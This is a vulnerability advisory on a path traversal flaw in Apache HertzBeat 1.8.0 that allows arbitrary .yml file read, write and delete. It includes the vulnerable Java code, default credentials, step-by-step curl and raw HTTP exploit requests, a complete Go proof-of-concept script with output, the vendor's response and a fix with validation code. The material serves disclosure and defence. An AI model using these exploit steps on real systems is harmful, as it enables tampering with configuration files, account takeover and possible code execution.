Severity: HIGH
CWE: CWE-22 (Improper Limitation of a Pathname to a Restricted Directory)
Product: https://hertzbeat.apache.org/ (v1.8.0)
Affected Component: AppServiceImpl.LocalFileAppDefineStoreImpl
Affected Endpoints:
- GET /api/apps/{app}/define/yml (read)
- POST /api/apps/define/yml (write)
- PUT /api/apps/define/yml (write/overwrite)
- DELETE /api/apps/{app}/define/yml (delete)
Auth Required: admin or standard user role (standard user can exploit; admin needed for cleanup)
- Default credentials in sureness.yml: admin / hertzbeat
Author: Brett Gervasoni
Date: 2026-03-09
The app parameter is used directly in file path construction with zero sanitization for path traversal characters (../). An authenticated attacker can read, write, or delete arbitrary .yml files anywhere on the filesystem.
The included exploit code automates the proof of concept in Docker, automating the multi-step exploitation process. Manual steps are also documented below.
This vulnerability can lead to RCE.
AppServiceImpl.java lines 661-664 — loadAppDefine() (read path):
public String loadAppDefine(String app) {
var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
var defineAppFile = new File(defineAppPath);
if (defineAppFile.exists() && defineAppFile.isFile()) {
return FileUtils.readFileToString(defineAppFile, StandardCharsets.UTF_8);
}
return null;
}
AppServiceImpl.java line 679 — save() (write path):
public void save(String app, String ymlContent) {
var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
var defineAppFile = new File(defineAppPath);
FileUtils.writeStringToFile(defineAppFile, ymlContent, StandardCharsets.UTF_8, false);
}
AppServiceImpl.java line 692 — delete() (delete path):
public void delete(String app) {
var classpath = Objects.requireNonNull(this.getClass().getClassLoader().getResource("")).getPath();
var defineAppPath = classpath + "define" + File.separator + "app-" + app + ".yml";
var defineAppFile = new File(defineAppPath);
if (defineAppFile.exists() && defineAppFile.isFile()) {
defineAppFile.delete();
}
}
The controller passes the value through with no validation:
AppController.java lines 100-101 (GET):
@GetMapping(path = "/{app}/define/yml")
public ResponseEntity<Message<String>> queryAppDefineYml(
@PathVariable("app") final String app) {
return ResponseUtil.handle(() -> appService.getMonitorDefineFileContent(app));
}
AppController.java lines 111-121 (POST — app extracted from YAML body):
@PostMapping(path = "/define/yml")
public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody MonitorDefineDto defineDto) {
return ResponseUtil.handle(() -> {
// ...risky token check (does NOT check for ../)...
appService.applyMonitorDefineYml(defineDto.getDefine(), false);
});
}
In applyMonitorDefineYml(), the app name comes from the YAML body itself:
Job app = yaml.loadAs(ymlContent, Job.class);
appDefineStore.save(app.getApp(), ymlContent); // app.getApp() is attacker-controlled
From sureness.yml:
/api/apps/** requires role: [admin, user] (any authenticated user)/api/apps/define/yml — not explicitly listed in sureness RBAC config; behavior falls through with Sureness/api/apps/** requires role: [admin]A standard user is able to exploit this vulnerability. They are not able to successfully clean up (e.g., switch storage back) without admin privileges.
.yml. For example, /etc/passwd is NOT reachableapp-<input>, blocking naive ../../ traversal/ to make app-<x> a directory, then ../.. to escape (two-step attack via POST/PUT)%2F, semicolons are stripped as matrix params, and literal ../ is normalized before reaching the controller. This may differ with other configurations, but this was how it acted when tested using the default Docker container.app field comes from parsed YAML body — can contain arbitrary characters including /.RCE avenues for this vulnerability exist (outside of the Script Collection bug):
.yml files (e.g., application.yml, sureness.yml).yml files to arbitrary locations on disksureness.yml with attacker-controlled accountsSee poc_path_traversal.go for the automated exploit script.
The default HertzBeat deployment uses DatabaseAppDefineStoreImpl, which stores definitions in the database (no filesystem writes). The vulnerable LocalFileAppDefineStoreImpl is activated when the object store type is set to FILE. An admin can switch this via the config API (Step 2 below).
Classpath layout inside the Docker container (apache/hertzbeat):
/opt/hertzbeat/
├── config/
│ ├── application.yml ← database credentials, Spring config
│ ├── sureness.yml ← admin credentials in plaintext
│ └── logback-spring.xml
├── define/
│ ├── app-api.yml ← monitoring type definitions
│ ├── app-mysql.yml
│ └── ...
└── apache-hertzbeat-1.8.0.jar
curl:
TOKEN=$(curl -s -X POST http://TARGET:1157/api/account/auth/form \
-H 'Content-Type: application/json' \
-d '{"type":1,"identifier":"admin","credential":"hertzbeat"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['data']['token'])")
echo "Token: $TOKEN"
Raw HTTP Request:
POST /api/account/auth/form HTTP/1.1
Host: TARGET:1157
Content-Type: application/json
Content-Length: 65
{"type":1,"identifier":"admin","credential":"hertzbeat"}
The default store is DatabaseAppDefineStoreImpl (saves to DB, no filesystem writes). To activate the vulnerable LocalFileAppDefineStoreImpl, switch the object store type to FILE via the config API.
curl:
curl -s -X POST http://TARGET:1157/api/config/oss \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{"type":"FILE"}'
Raw HTTP Request:
POST /api/config/oss HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 15
{"type":"FILE"}
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"msg":"Update config success","data":"Update config success"}
The app field is extracted from the YAML request body (not the URL), so there are no URL encoding restrictions. We use PUT (modify) rather than POST (create) because PUT calls applyMonitorDefineYml(define, true) which skips the "already exists" check, making the exploit idempotent and re-runnable.
app-x/ directory (prerequisite)The app- prefix is always prepended to the user input, making naive ../../ traversal fail (the OS sees app-.. as a literal directory name). To bypass this, we first create a real app-x/ directory inside define/ by submitting a YAML with app: "x/y". Apache Commons IO's FileUtils.writeStringToFile() internally calls mkdirs() on the parent, creating the app-x/ directory.
curl:
curl -s -X PUT http://TARGET:1157/api/apps/define/yml \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{
"define": "app: x/y\ncategory: custom\nname:\n en: PoC Stage1\n zh-CN: PoC\nparams:\n - field: host\n name:\n en: Host\n zh-CN: Host\n type: text\n required: true\nmetrics:\n - name: basic\n priority: 0\n fields:\n - field: status\n type: 1\n protocol: http\n http:\n host: ^_^host^_^\n port: 80\n url: /\n method: GET\n parseType: default"
}'
Raw HTTP Request:
PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 410
{
"define": "app: x/y\ncategory: custom\nname:\n en: PoC Stage1\n zh-CN: PoC\nparams:\n - field: host\n name:\n en: Host\n zh-CN: Host\n type: text\n required: true\nmetrics:\n - name: basic\n priority: 0\n fields:\n - field: status\n type: 1\n protocol: http\n http:\n host: ^_^host^_^\n port: 80\n url: /\n method: GET\n parseType: default"
}
Decoded define value (the YAML that gets parsed server-side):
app: x/y
category: custom
name:
en: PoC Stage1
zh-CN: PoC
params:
- field: host
name:
en: Host
zh-CN: Host
type: text
required: true
metrics:
- name: basic
priority: 0
fields:
- field: status
type: 1
protocol: http
http:
host: ^_^host^_^
port: 80
url: /
method: GET
parseType: default
What happens on disk:
Created: <classpath>/define/app-x/ ← directory created by mkdirs()
Written: <classpath>/define/app-x/y.yml ← file written by writeStringToFile()
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"msg":null,"data":null}
define/ via traversalNow that the app-x/ directory exists, we submit a YAML where the app field traverses out of define/ through it. The target is the config/ directory (next to sureness.yml and application.yml):
app: x/../../config/poc-traversal-proof
→ path: /opt/hertzbeat/define/app-x/../../config/poc-traversal-proof.yml
→ resolves to: /opt/hertzbeat/config/poc-traversal-proof.yml (OUTSIDE define/)
curl:
curl -s -X PUT http://TARGET:1157/api/apps/define/yml \
-H 'Content-Type: application/json' \
-H "Authorization: Bearer $TOKEN" \
-d '{
"define": "app: x/../../config/poc-traversal-proof\ncategory: custom\nname:\n en: PoC Traversal Proof\n zh-CN: PoC\nparams:\n - field: host\n name:\n en: Host\n zh-CN: Host\n type: text\n required: true\nmetrics:\n - name: basic\n priority: 0\n fields:\n - field: status\n type: 1\n protocol: http\n http:\n host: ^_^host^_^\n port: 80\n url: /\n method: GET\n parseType: default"
}'
Raw HTTP Request:
PUT /api/apps/define/yml HTTP/1.1
Host: TARGET:1157
Authorization: Bearer eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9...<SNIPPED>
Content-Type: application/json
Content-Length: 462
{
"define": "app: x/../../config/poc-traversal-proof\ncategory: custom\nname:\n en: PoC Traversal Proof\n zh-CN: PoC\nparams:\n - field: host\n name:\n en: Host\n zh-CN: Host\n type: text\n required: true\nmetrics:\n - name: basic\n priority: 0\n fields:\n - field: status\n type: 1\n protocol: http\n http:\n host: ^_^host^_^\n port: 80\n url: /\n method: GET\n parseType: default"
}
Decoded define value (the YAML that gets parsed server-side):
app: x/../../config/poc-traversal-proof
category: custom
name:
en: PoC Traversal Proof
zh-CN: PoC
params:
- field: host
name:
en: Host
zh-CN: Host
type: text
required: true
metrics:
- name: basic
priority: 0
fields:
- field: status
type: 1
protocol: http
http:
host: ^_^host^_^
port: 80
url: /
method: GET
parseType: default
What happens on disk:
Intended: /opt/hertzbeat/define/app-x/../../config/poc-traversal-proof.yml
Resolved: /opt/hertzbeat/config/poc-traversal-proof.yml ← FILE WRITTEN OUTSIDE define/
Expected Response:
HTTP/1.1 200 OK
Content-Type: application/json
{"code":0,"msg":null,"data":null}
docker exec hertzbeat ls -la /opt/hertzbeat/config/
docker exec hertzbeat cat /opt/hertzbeat/config/poc-traversal-proof.yml
Confirmed output from running the PoC:
$ docker exec hertzbeat ls -la /opt/hertzbeat/config/
total 44
drwxr-xr-x 1 root root 4096 Feb 15 14:29 .
drwxr-xr-x 1 root root 4096 Feb 15 14:25 ..
-rw-r--r-- 1 501 dialout 8688 Dec 16 23:55 application.yml
-rw-r--r-- 1 501 dialout 7949 Dec 16 23:55 logback-spring.xml
-rw-r--r-- 1 root root 433 Feb 15 14:29 poc-traversal-proof.yml ← WRITTEN BY PoC
-rw-r--r-- 1 501 dialout 4735 Feb 15 10:31 sureness.yml
The file poc-traversal-proof.yml was written to /opt/hertzbeat/config/, next to sureness.yml and application.yml, confirming arbitrary .yml file write outside the intended define/ directory.
This targets a default instance running in Docker, using the admin user. A standard non-admin user can be used as well.
Full source of poc_path_traversal.go:
package main
import (
"bytes"
"encoding/json"
"fmt"
"io"
"net/http"
"os"
"os/exec"
"strings"
)
const target = "http://localhost:1157"
type authResponse struct {
Code int `json:"code"`
Data struct {
Token string `json:"token"`
} `json:"data"`
}
type apiResponse struct {
Code int `json:"code"`
Msg string `json:"msg"`
}
func main() {
fmt.Println("============================================================")
fmt.Println(" HertzBeat Path Traversal PoC")
fmt.Println("============================================================\n")
// Step 1: Authenticate
fmt.Println("[*] Step 1 — Authenticating as admin...")
token, err := authenticate()
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Auth failed: %v\n", err)
os.Exit(1)
}
fmt.Printf("[+] Got token: %s...\n\n", token[:40])
// Step 2: Switch storage to FILE mode to activate LocalFileAppDefineStoreImpl
fmt.Println("[*] Step 2 — Switching object store to FILE mode...")
fmt.Println(" POST /api/config/oss with {\"type\":\"FILE\"}")
fmt.Println(" This activates LocalFileAppDefineStoreImpl (filesystem-based store)")
err = switchToFileStore(token)
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed to switch store: %v\n", err)
os.Exit(1)
}
fmt.Println("[+] Object store switched to FILE mode.\n")
// Step 3: Create app-x/ directory via PUT with app: "x/y"
fmt.Println("[*] Step 3 — Creating app-x/ directory inside define/...")
fmt.Println(" PUT /api/apps/define/yml with app: \"x/y\"")
fmt.Println(" FileUtils.writeStringToFile() calls mkdirs(), creating app-x/")
err = putDefine(token, makeJobYAML("x/y", "PoC DirSetup"))
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed: %v\n", err)
os.Exit(1)
}
fmt.Println("[+] Done.\n")
// Step 4: Write file outside define/ via path traversal
traversalApp := "x/../../config/poc-traversal-proof"
fmt.Println("[*] Step 4 — Writing file OUTSIDE define/ via traversal...")
fmt.Printf(" app name: %q\n", traversalApp)
fmt.Println(" Resolved: /opt/hertzbeat/config/poc-traversal-proof.yml")
err = putDefine(token, makeJobYAML(traversalApp, "PoC Traversal Proof"))
if err != nil {
fmt.Fprintf(os.Stderr, "[-] Failed: %v\n", err)
os.Exit(1)
}
fmt.Println("[+] Write request succeeded.\n")
// Step 5: Verify via docker exec
fmt.Println("[*] Step 5 — Verifying file on container...")
verify()
// Cleanup: switch back to DATABASE mode
fmt.Println("\n[*] Cleanup — Switching object store back to DATABASE mode...")
err = switchToDatabaseStore(token)
if err != nil {
fmt.Fprintf(os.Stderr, "[!] Warning: failed to restore DATABASE mode: %v\n", err)
} else {
fmt.Println("[+] Restored DATABASE mode.")
}
}
func authenticate() (string, error) {
body := `{"type":1,"identifier":"operator","credential":"hertzbeat"}`
resp, err := http.Post(target+"/api/account/auth/form", "application/json", bytes.NewBufferString(body))
if err != nil {
return "", err
}
defer resp.Body.Close()
var result authResponse
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return "", err
}
if result.Code != 0 || result.Data.Token == "" {
return "", fmt.Errorf("unexpected response code %d", result.Code)
}
return result.Data.Token, nil
}
func switchToFileStore(token string) error {
return postConfig(token, `{"type":"FILE"}`)
}
func switchToDatabaseStore(token string) error {
return postConfig(token, `{"type":"DATABASE"}`)
}
func postConfig(token, body string) error {
req, _ := http.NewRequest("POST", target+"/api/config/oss", bytes.NewBufferString(body))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func makeJobYAML(appName, label string) string {
return fmt.Sprintf(`app: %s
category: custom
name:
en: %s
zh-CN: %s
params:
- field: host
name:
en: Host
zh-CN: Host
type: text
required: true
metrics:
- name: basic
priority: 0
fields:
- field: status
type: 1
protocol: http
http:
host: ^_^host^_^
port: 80
url: /
method: GET
parseType: default
`, appName, label, label)
}
func putDefine(token, yamlContent string) error {
return sendDefine("PUT", token, yamlContent)
}
func sendDefine(method, token, yamlContent string) error {
payload, _ := json.Marshal(map[string]string{"define": yamlContent})
req, _ := http.NewRequest(method, target+"/api/apps/define/yml", bytes.NewBuffer(payload))
req.Header.Set("Content-Type", "application/json")
req.Header.Set("Authorization", "Bearer "+token)
resp, err := http.DefaultClient.Do(req)
if err != nil {
return err
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(resp.Body)
var result apiResponse
if err := json.Unmarshal(respBody, &result); err != nil {
return fmt.Errorf("HTTP %d: %s", resp.StatusCode, string(respBody))
}
if result.Code != 0 {
return fmt.Errorf("API error (code %d): %s", result.Code, result.Msg)
}
return nil
}
func verify() {
cmds := []struct {
desc string
args []string
}{
{"Listing /opt/hertzbeat/config/", []string{"docker", "exec", "hertzbeat", "ls", "-la", "/opt/hertzbeat/config/"}},
{"Reading poc file", []string{"docker", "exec", "hertzbeat", "cat", "/opt/hertzbeat/config/poc-traversal-proof.yml"}},
}
for _, c := range cmds {
fmt.Printf(" $ %s\n", strings.Join(c.args, " "))
out, err := exec.Command(c.args[0], c.args[1:]...).CombinedOutput()
if err != nil {
fmt.Printf(" [!] %v\n", err)
}
for _, line := range strings.Split(strings.TrimSpace(string(out)), "\n") {
fmt.Printf(" %s\n", line)
}
fmt.Println()
}
}
Official response from Apache Security Team:
As documented in HertzBeat's security model at https://hertzbeat.apache.org/docs/help/security_model, this is expected, intended functionality: it is up to the operator to make sure only trusted users are given access to HertzBeat. Customization is a feature, and users are responsible for their own custom templates. It's expected that any authenticated user is trusted with admin capabilities.
The permission model in HertzBeat has not been finished yet, though the product has shipped. See the HertzBeat Security Model documentation for details.
This is what Apache had to say about role-based permissions:
Please note that the role permission function is being improved, please do not use roles to control user permissions, all users have management permissions
Add input validation to reject path traversal characters in the app parameter. Apply this in AppServiceImpl or as a shared utility before any file operation:
private static final Pattern SAFE_APP_NAME = Pattern.compile("^[a-zA-Z0-9_-]+$");
private void validateAppName(String app) {
if (app == null || !SAFE_APP_NAME.matcher(app).matches()) {
throw new IllegalArgumentException("Invalid app name: " + app);
}
}
Additionally, use canonical path validation:
File defineAppFile = new File(defineAppPath).getCanonicalFile();
File defineDir = new File(classpath + "define").getCanonicalFile();
if (!defineAppFile.toPath().startsWith(defineDir.toPath())) {
throw new SecurityException("Path traversal detected");
}
Both checks should be applied in loadAppDefine(), save(), and delete().